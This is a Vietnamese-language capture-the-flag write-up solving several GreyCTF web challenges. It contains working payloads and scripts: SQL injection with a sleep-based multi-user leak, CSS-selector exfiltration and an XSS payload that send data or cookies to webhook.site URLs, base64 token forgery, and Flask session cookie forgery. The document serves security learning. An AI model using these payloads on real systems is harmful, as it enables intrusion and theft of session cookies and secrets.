# No Sql Injection


Về giao diện thì trang web có 2 chức năng là register và login


Ở challenge này cung cấp cho ta source code nên ta sẽ phân tích code luôn.
Mình sẽ tóm tắt ngắn gọn như sau:
- **mysql gồm 2 table là `users` và `tokens`**

- **Chức năng register sẽ gồm 2 API:**
/api/register/1

/api/register/2

Trong đó hàm `decode()` có chức năng decode base64
- **Cuối cùng chức năng đăng nhập như sau:**

Có thể thấy chúng ta phải là admin mới có được flag
**Token mặc định sẽ có dạng:**
```javascript
{"name":"nightcore","admin":false}
```
**Mục tiêu của chúng ta là:**
```javascript
{"name":"nightcore","admin":true}
```
Lổ hổng chính của challenge này xảy ra tại đây, cụ thể chính là việc lưu trữ token dưới dạng base64 trong mysql:
```javascript
const result = await query("select 1 from tokens where token = ?", [token]);
if (result.length != 1) {
return res.json({ err: "Token not found!" });
}
await query("delete from tokens where token = ?", [token]);
const { name, admin } = JSON.parse(atob(token));
```
Theo mặc định thì mysql sẽ không phân biệt chữ hoa chữ thường (vì một vài lí do nào đó).
Điều này có nghĩa là chuỗi `'Nightcore' == 'nightCore'`
Nhưng một vấn đề lớn là base64 lại phân biệt chữ hoa chữ thường!!!
Khi thay đổi một kí tự in hoa thành kí tự thường trong một chuỗi được mã hóa base64 thì nó cũng sẽ thay đổi luôn cả chuỗi ban đầu trước khi được mã hóa.
Từ cơ chế này ta sẽ thực hiện exploit để giả mạo admin.
Oke bây giờ chúng ta sẽ đăng kí một username có dạng như sau:

Trong đó 2 cái dấu màu đỏ trong hình chính decode base64 của `im`

Tại sao lại là `im`?
Bởi vì khi chuyển `im`->`Im` nó sẽ trở thành dấu nháy kép `"`, để lát nữa khi chỉnh sửa token thì mình chỉ cần chuyển `i` -> `I` nó sẽ tạo cho ta một chuỗi json hợp lệ mà vẫn bypass được điều kiện `WHERE` trong mysql.

>`Im`, `Ij`, `Ig` đều tương tự nhau sẽ cho ra kết quả decode base64 là `"`
`/api/register/1`

Sau khi được cung cấp token chúng ta sẽ thực hiện chỉnh sửa nó như sau:
- Đầu tiên ta sẽ phải làm biến mất kí tự `\`, bằng cách chỉnh sửa `X` -> `x`

Sau khi chỉnh sửa thì `\` đã biến mất

- Tiếp theo là 2 dấu màu đỏ kia thành `""` bằng cách chỉnh sửa `i`->`I`

Sau khi chỉnh sửa ta được:

- Cuối cùng là làm cho dấu nháy kép ở trước admin biến mất

Ta sẽ chỉnh sửa `I`->`i`

Vậy là xong bước giả mạo token, bây giờ việc còn lại chúng ta làm như logic bình thường.
Cuối cùng ta chỉ cần đăng nhập với username là `nightcoreÄ`

# Fearless Concurrency


Giao diện không có gì nên chúng ta đi phân tích code luôn.
Tóm tắt code thì chall gồm 4 API như sau:

Ở API register thì chúng ta sẽ được cung cấp một user_id khi nhấn nút đăng kí

Tại API query thì bị dính lỗ hổng SQLi


API cuối cùng là /flag sẽ trả về flag nếu ta nhập đúng secret của user_id mà ta cung cấp


Tên table chứa secret được tạo ra như sau

Do ta có thể tính toán được giá trị của 2/3 tên của table (trừ table_id), cho nên ta có thể leak được tên của table với từ khóa `LIKE` và kí tự `%` để đại diện phần còn lại thông qua `INFORMATION_SCHEMA.TABLES`
Payload:
`-1' UNION SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_name LIKE 'tbl_{hash_hex}%'; -- -`
Nhưng có một vấn đề là sau khi mình thực hiện SQLi trong API /query và lấy được tên table chứa secret ra rồi thì nó sẽ tự động xóa luôn table đó luôn

Và ta cũng không thể thực hiện nhiều query cùng lúc trong một user tại API /query, cũng như không thể race condition nốt

**Câu hỏi đặt ra là dùng user khác để leak table_name + secret của một user còn lại được không?**
**Trả lời:**
Hoàn toàn có thể, để một user không drop sau khi thực hiện query thì ta sẽ cho nó `sleep()` trong một khoảng thời gian, và trong khoảng thời gian sleep này dùng user khác để leak table+secret của user đó, cuối cùng lấy flag luôn
Script python như sau:
```python
import requests, time, hashlib
from multiprocessing import Process
ENDPOINT = "http://challs.nusgreyhats.org:33333"
def register(s):
global ENDPOINT
return int(s.post(f"{ENDPOINT}/register").text)
def query(s, user_id, query):
global ENDPOINT
return s.post(f"{ENDPOINT}/query", json={"user_id": user_id, "query_string": query}).text
def get_table_name(s, user_id, leak_uid):
hash_object = hashlib.sha1(b'fearless_concurrency' + user_id.to_bytes(8, byteorder="little"))
hash_hex = hash_object.hexdigest()
return query(s, leak_uid, f"-1' UNION SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_name LIKE 'tbl_{hash_hex}%'; -- -")
def flag(s, user_id, secret):
global ENDPOINT
return s.post(f"{ENDPOINT}/flag", json={"user_id": user_id, "secret": secret}).text
def sleep_user(uid):
s = requests.Session()
print(query(s, uid, "-1' UNION SELECT SLEEP(20) -- "))
def main():
s = requests.Session()
sleep_uid = register(s)
p = Process(target=sleep_user, args=(sleep_uid,))
p.start()
time.sleep(1)
leak_uid = register(s)
secret_table = get_table_name(s, sleep_uid, leak_uid)
secret = int(query(s, leak_uid, f"-1' UNION SELECT secret FROM {secret_table} -- -"))
print(flag(s, sleep_uid, secret))
if __name__ == '__main__':
main()
```
Kết quả:

# Beautiful Styles

Chall cho ta trang web có chức năng submit CSS

Cũng cung cấp luôn cho ta một template mẫu
<details>
<summary>Example</summary>
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>My Beautiful Site</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
crossorigin="anonymous"
/>
<link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
</head>
<body>
<div class="container">
<h1 id="title">Welcome to my beautiful site</h1>
<p id="sub-header">
Here is some content that I want to share with you. An example can be
this flag:
</p>
<input id="flag" value="{{ flag }}" />
</div>
<div class="container mt-4">
<form action="/judge/{{submit_id}}" method="post">
<input type="submit" value="Submit for judging">
</form>
</div>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"
></script>
</body>
</html>
```
</details>
Sau khi thử submit thử template mẫu thì ta nhận về được một fakeflag


Từ những thông tin phần mô tả và tiêu đề của challenge thì mình đoán rằng đây thuộc lỗ hỗng CSS Injection, với mục tiêu là brute-force mật khẩu.
Sau khi tra google thì mình biết được có thể lợi dụng CSS selector để exfil data
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection

Oke mình sẽ test thử payload
```CSS
input[id=flag][value^="grey{"]{
background-image: url(https://webhook.site/0513dfc4-550e-4026-b06b-3303fcbc1841/?exfil=grey{);
}
```

Kết quả như mong đợi

Đề bài đã cung cấp sẵn tất cả các kí tự có trong flag rồi nên brute-force cũng dễ.
Chạy script python sau để brute-force từng kí tự xong đó lại cập nhật flag vào code, cứ tiếp tục như vậy cho đến khi có đủ flag
```python
import requests
import string
submission = "http://challs.nusgreyhats.org:33339/submit"
template = """
input[id=flag][value^="REPLACE"]{
background-image: url(https://webhook.site/3f678283-f2d5-4a75-bfbf-4203b7e29501/?exfil=REPLACE);
}
"""
charset = string.ascii_uppercase + "f" + string.digits + "}"
flag = "grey{"
for c in charset:
data = {"css_value": template}
css = template.replace("REPLACE", flag + c)
print(css)
data = {
"css_value": css
}
s = requests.session()
r = s.post(url=submission, data=data, allow_redirects=False)
judge = "http://challs.nusgreyhats.org:33339" + r.headers["Location"].replace("submission","judge")
r = s.post(url=judge)
```
>Do không có server riêng nên script không thể tự động hoàn toàn được :<
Kết quả:

# Markdown Parser

Trang web có chức năng submit file markdown

Lổ hỗng XSS xảy ra tại phần `language` trong `code block` khi viết file markdown vì không thực hiện `escapeHtml()`

Payload đơn giản như sau:
```
```"</code></pre><svg onload="document.location='https://webhook.site/a6cfba2a-abe0-4633-8b10-ed6db920797c/'+document.cookie"><pre><code class="language-
Hacked
``` .
```
Kết quả:

# Greyctf Survey


Điều kiện để có flag

Mình mò vào [docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt) của hàm parseInt() thì phát hiện được như sau:

Payload:

# Baby Web


Chỉ có admin mới có thể access được page để lấy flag.
Mà trang web xác định admin thông qua session

Lúc đầu mình cứ tưởng nó là JWT :< , nhưng sau khi thử đủ các kiểu thì mình nhận ra mình đã sai
Với từ khóa `Hacking Flask Session Cookie` search trên google thì mình tìm được công cụ [`Flask-Unsign`](https://pypi.org/project/flask-unsign/) có chức năng brute secret_key -> thực hiện tạo session mới giả mạo admin
Đầu tiên cứ decode cookie ra xem thử

Mà để ý trong source đã cung cấp cho ta sẵn secret_key là `baby-web` rồi nên mình chỉ cần tạo lại một session mới với `is_admin = true`
Payload:
```
flask-unsign --sign --cookie "{'is_admin': True}" --secret 'baby-web'
```
Sau khi tạo session mới, thay thế session cũ là được
Kết quả:
